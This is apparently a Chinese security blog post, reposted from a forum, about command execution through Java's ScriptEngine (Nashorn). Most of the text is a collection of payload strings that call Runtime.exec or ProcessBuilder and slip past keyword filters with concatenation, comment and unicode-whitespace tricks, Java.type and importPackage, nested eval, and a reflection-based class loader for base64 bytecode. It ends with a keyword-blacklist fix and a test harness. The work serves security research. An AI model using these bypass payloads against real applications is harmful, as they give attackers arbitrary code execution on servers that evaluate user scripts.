java中js命令执行与绕过

0x01 漏洞原因

​ java中javax.script.ScriptEngine 类来解析js并执行js代码。

1
new javax.script.ScriptEngineManager().getEngineByName("js").eval(test);

因为scriptEngine的相关特性,可以执行java代码,所以当我们把test替换为如下代码,就可以命令执行了。

1
String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a calculator")};";

0x02 基本payload

1
2
3
4
String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};";
String test="var a = mainOutput(); function mainOutput() { var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();return true;};";
// 套娃
String taowa = "var a = mainOutput(); function mainOutput() { new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"var a = test(); function test() { var x=java.lang.\"+\"Runtime.getRuntime().exec(\\\"open -a Calculator\\\");};\"); };";

0x03 垃圾字符payload

1
2
3
4
5
6
7
// 拼接        
String test51="var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"open -a Calculator\");";
// **截断
String test="var a = mainOutput(); function mainOutput() { var x=java.lang./**/Runtime.getRuntime().exec(\"open -a Calculator\");};";
// 空格截断
String test="var a = mainOutput(); function mainOutput() { var x=java.lang. Runtime.getRuntime().exec(\"open -a Calculator\");};";

0x04 编码与反射

1
2
3
4
5
6
7
8
9
10
11
12
String test53 = "\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063(\"open -a Calculator\");";

String test55 = "var clazz = java.security.SecureClassLoader.class;\n" +
" var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var classBytes = '"+b64byte+"';" +
" var bytes = java.util.Base64.getDecoder().decode(classBytes);\n" +
" var constructor = clazz.getDeclaredConstructor();\n" +
" constructor.setAccessible(true);\n" +
" var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);\nprint(clz);" +
" clz.newInstance();";

0x05 特性绕过

1
2
3
4
5
        //使用特有的Java对象的type()方法导入类,轻松绕过
String test51="var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"open -a Calculator\");";
//兼容Rhino功能,又有了两种新的绕过方式。
String test52 = "load(\"nashorn:mozilla_compat.js\"); importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"open -a Calculator\");";
String test54="var importer =JavaImporter(java.lang); with(importer){ var x=Runtime.getRuntime().exec(\"open -a Calculator\");}";

0x06 unicode换行符

既然Nashorn是一个解析引擎,那么他一定有词法分析器.(感叹编译原理没有白学)。于是我下载了源码,开始对源码进行分析。我在jdk.nashorn.internal.parser包下面发现了Lexer类。类中有几个函数是用来判断js空格js换行符 的,其中主要的三个字符串如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private static final String LFCR     = "\n\r"; // line feed and carriage return (ctrl-m) 
private static final String JAVASCRIPT_WHITESPACE_EOL =
LFCR +
"\u2028" + // line separator
"\u2029" // paragraph separator
;
private static final String JAVASCRIPT_WHITESPACE =
SPACETAB +
JAVASCRIPT_WHITESPACE_EOL +
"\u000b" + // tabulation line
"\u000c" + // ff (ctrl-l)
"\u00a0" + // Latin-1 space
"\u1680" + // Ogham space mark
"\u180e" + // separator, Mongolian vowel
"\u2000" + // en quad
"\u2001" + // em quad
"\u2002" + // en space
"\u2003" + // em space
"\u2004" + // three-per-em space
"\u2005" + // four-per-em space
"\u2006" + // six-per-em space
"\u2007" + // figure space
"\u2008" + // punctuation space
"\u2009" + // thin space
"\u200a" + // hair space
"\u202f" + // narrow no-break space
"\u205f" + // medium mathematical space
"\u3000" + // ideographic space
"\ufeff" // byte order mark
;

很显然到这里我们已经获取了非常多的可以替换空格和换行符的unicode码。于是我就简单尝试了一下绕过。在尝试过程中发现部分也是可以被检测出来的,而另外一部分不起作用。我猜想是js和java的处理这些字符的逻辑不同导致的

1
2
String test62="var test = mainOutput(); function mainOutput() { var x=java.\u2029lang.Runtime.getRuntime().exec(\"calc\");};";

skipComments函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
protected boolean skipComments() {
// Save the current position.
final int start = position;

if (ch0 == '/') {
// Is it a // comment.
if (ch1 == '/') {
// Skip over //.
skip(2);
// Scan for EOL.
while (!atEOF() && !isEOL(ch0)) {
skip(1);
}
// Did detect a comment.
add(COMMENT, start);
return true;
} else if (ch1 == '*') {
// Skip over /*.
skip(2);
// Scan for */.
while (!atEOF() && !(ch0 == '*' && ch1 == '/')) {
// If end of line handle else skip character.
if (isEOL(ch0)) {
skipEOL(true);
} else {
skip(1);
}
}

if (atEOF()) {
// TODO - Report closing */ missing in parser.
add(ERROR, start);
} else {
// Skip */.
skip(2);
}

// Did detect a comment.
add(COMMENT, start);
return true;
}
} else if (ch0 == '#') {
assert scripting;
// shell style comment
// Skip over #.
skip(1);
// Scan for EOL.
while (!atEOF() && !isEOL(ch0)) {
skip(1);
}
// Did detect a comment.
add(COMMENT, start);
return true;
}

// Not a comment.
return false;
}

从上面的代码可以看出来,当遇到以/开头的就会检测第二个是不是/如果是的话就回去找EOF换行符,而这些//......EOF之间的内容都会被当做注释绕过的。
那么当我们的代码是如下的样子

1
2
3
String test61="var test = mainOutput(); function mainOutput() { var x=java.lang.//\nRuntime.getRuntime().exec(\"calc\");};";

String test61="var test = mainOutput(); function mainOutput() { var x=java.lang./**/Runtime.getRuntime().exec(\"open -a Calculator\");};";

因为我们的正则不严谨,用于匹配的字符串为var test = mainOutput(); function mainOutput() { var x=java.lang.而被解析后的代码为var test = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec(\"calc\");}; 成功绕过了我们的检测。
上面的代码还有一个关于#的注释,但是一直没有尝试成功,猜测可能跟assert scripting这行代码有关。

0x07 修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class KeywordCheckUtils7 {

private static final Set<String> blacklist = Sets.newHashSet(
// Java 全限定类名
"java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream",
"java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty",
"java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress",
"java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket",
"java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection",
"java.security.AccessControlContext", "java.lang.ProcessBuilder",
//反射关键字
"invoke","newinstance",
// JavaScript 方法
"eval", "new function",
//引擎特性
"Java.type","importPackage","importClass","JavaImporter"
);

public KeywordCheckUtils7() {
// 空构造方法
}

public static void checkInsecureKeyword(String code) throws Exception {
// 去除注释
String removeComment = StringUtils.replacePattern(code, "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*[\n\r\u2029\u2028])", " ");
//去除特殊字符
removeComment =StringUtils.replacePattern(removeComment,"[\u2028\u2029\u00a0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\ufeff]","");
// 去除空格
String removeWhitespace = StringUtils.replacePattern(removeComment, "\\s+", "");
// 多个空格替换为一个
String oneWhiteSpace = StringUtils.replacePattern(removeComment, "\\s+", " ");
System.out.println(removeWhitespace);
System.out.println(oneWhiteSpace);
Set<String> insecure = blacklist.stream().filter(s -> StringUtils.containsIgnoreCase(removeWhitespace, s) ||
StringUtils.containsIgnoreCase(oneWhiteSpace, s)).collect(Collectors.toSet());

if (!CollectionUtils.isEmpty(insecure)) {
System.out.println("存在不安全的关键字:"+insecure);
throw new Exception("存在安全问题");
}else{
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(code);
}
}
}

0x08 实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.sql.DriverManager;

public class h2client {
private static String b64byte="";
public static void main(String[] args) throws Exception{
// classloader
String test55 = "var clazz = java.security.SecureClassLoader.class;\n" +
" var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var classBytes = '"+b64byte+"';" +
" var bytes = java.util.Base64.getDecoder().decode(classBytes);\n" +
" var constructor = clazz.getDeclaredConstructor();\n" +
" constructor.setAccessible(true);\n" +
" var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);\nprint(clz);" +
" clz.newInstance();";

//使用特有的Java对象的type()方法导入类,轻松绕过
String test51="var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"open -a Calculator\");";
//兼容Rhino功能,又有了两种新的绕过方式。
String test52 = "load(\"nashorn:mozilla_compat.js\"); importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"open -a Calculator\");";
String test54="var importer =JavaImporter(java.lang); with(importer){ var x=Runtime.getRuntime().exec(\"open -a Calculator\");}";
String test53 = "\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063(\"open -a Calculator\");";

String taowa = "var a = mainOutput(); function mainOutput() { new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"var a = test(); function test() { var x=java.lang.\"+\"Runtime.getRuntime().exec(\\\"open -a Calculator\\\");};\"); };";

String test="var a = mainOutput(); function mainOutput() { var x=java.lang. Runtime.getRuntime().exec(\"open -a Calculator\");};";
String test62="var test = mainOutput(); function mainOutput() { var x=java.\u000blang.Runtime.getRuntime().exec(\"open -a Calculator\");};";
String test61="var test = mainOutput(); function mainOutput() { var x=java.lang./Runtime.getRuntime().exec(\"open -a Calculator\");};";


new javax.script.ScriptEngineManager().getEngineByName("js").eval(test61);
}
}

原贴

https://forum.butian.net/share/487


java中js命令执行与绕过
https://unam4.github.io/2024/08/15/java中js命令执行与绕过/
作者
unam4
发布于
2024年8月15日
许可协议